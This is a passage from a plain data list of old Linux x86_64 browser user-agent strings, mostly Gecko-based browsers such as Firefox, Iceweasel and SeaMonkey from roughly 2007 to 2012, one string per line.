(Debian-2.0.0.16-0etch1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 (Ubuntu-1.1.12+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20080922 SUSE/1.1.12-0.1 SeaMonkey/1.1.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20081018 Thunderbird/2.0.0.17\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081110 SUSE/1.1.13-1.10 SeaMonkey/1.1.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081204 Iceape/1.1.14 (Debian-1.1.14-1) Mnenhy/0.7.6.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.2) Gecko/20070224 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.21) Gecko/20090328 Fedora/1.1.15-3.fc10 SeaMonkey/1.1.15\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.21) Gecko/20090413 SeaMonkey/1.1.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4)   Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20070812 BonEcho/2.0.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 BonEcho/2.0.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071103 BonEcho/2.0.0.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Iceweasel/3.0 (Debian-3.0~rc2-2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071420 Iceweasel/3.0.1 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071818 GranParadiso/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009072220 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010010604 prism/0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.19) Gecko/2011050707 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008112012 Minefield/3.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122903 Gentoo Iceweasel/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Iceweasel/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Minefield/3.0 MEGAUPLOAD 2.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032813 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032809 Iceweasel/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033008 GranParadiso/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033109 Gentoo Iceweasel/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Ubuntu/9.04 (jaunty) Shiretoko/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.10) Gecko/20100621 Fedora/3.0.5-1.fc13 Lightning/1.0b2pre Thunderbird/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.10) Gecko/20100623 Fedora/2.0.5-1.fc12 SeaMonkey/2.0.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100714 SUSE/2.0.6-2.1 SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100720 Fedora/2.0.6-1.fc12 SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100721 Iceape/2.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100721 SeaMonkey/2.0.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.14) Gecko/20101020 Conkeror/0.9.2 (Debian-0.9.2+git100804-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101028 Conkeror/0.9.2 (Debian-0.9.2+git100804-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101206 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080514 Firefox/2.0.0.14 Flock/1.1.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101209 Conkeror/0.9.2 (Debian-0.9.2+git100804-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101227 Iceape/2.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110107 Iceweasel/3.5.16 (Debian-3.0.5-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110302 Iceape/2.0.11\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110121 SUSE/2.0.12-0.2.1 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110303 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1pre) Gecko/20090701 Ubuntu/9.04 (jaunty) Shiretoko/3.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091010 Iceweasel/3.5.3 (Debian-3.5.3-2)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100206 SUSE/2.0.3-0.1.1 SeaMonkey/2.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100408 Thunderbird/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20100110 Shiretoko/3.5.8pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20100112 Shiretoko/3.5.8pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100317 SUSE/2.0.4-3.2 Lightning/1.0b1 SeaMonkey/2.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100502 Iceape/2.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9pre) Gecko/20100212 SeaMonkey/2.0.4pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1a2pre) Gecko/2008080205 Minefield/3.1a2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b1pre) Gecko/20080929020931 Minefield/3.1b1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b2pre) Gecko/20081115 Minefield/3.1b2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20081222 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20081223 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090109 Shiretoko/3.1b3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090302 SeaMonkey/2.0b1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4pre) Gecko/20090401 Ubuntu/9.04 (jaunty) Shiretoko/3.5b4pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4pre) Gecko/20090404 Shiretoko/3.5b4pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b5pre) Gecko/20090424 Shiretoko/3.5b5pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100928 Namoroka/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10pre) Gecko/20100826 Ubuntu/9.04 (jaunty) Namoroka/3.6.10pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12pre) Gecko/20101011 Ubuntu/10.04 (lucid) Namoroka/3.6.12pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101214 IceCat/3.6.13 (like Firefox/3.6.13)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.14pre) Gecko/20110111 Ubuntu/8.04 (hardy) Namoroka/3.6.14pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15pre) Gecko/20110130 Ubuntu/10.10 (maverick) Namoroka/3.6.15pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/9.10 (karmic) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100129 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100306 Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100310 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100402 Namoroka/3.6.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3pre) Gecko/20100324 Ubuntu/9.04 (jaunty) Namoroka/3.6.3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.5pre) Gecko/20100526 Namoroka/3.6.5pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.5pre) Gecko/20100526 Ubuntu/10.04 (lucid) Namoroka/3.6.5pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100805 Namoroka/3.6.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20081205 Minefield/3.2a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090331 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090417 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) 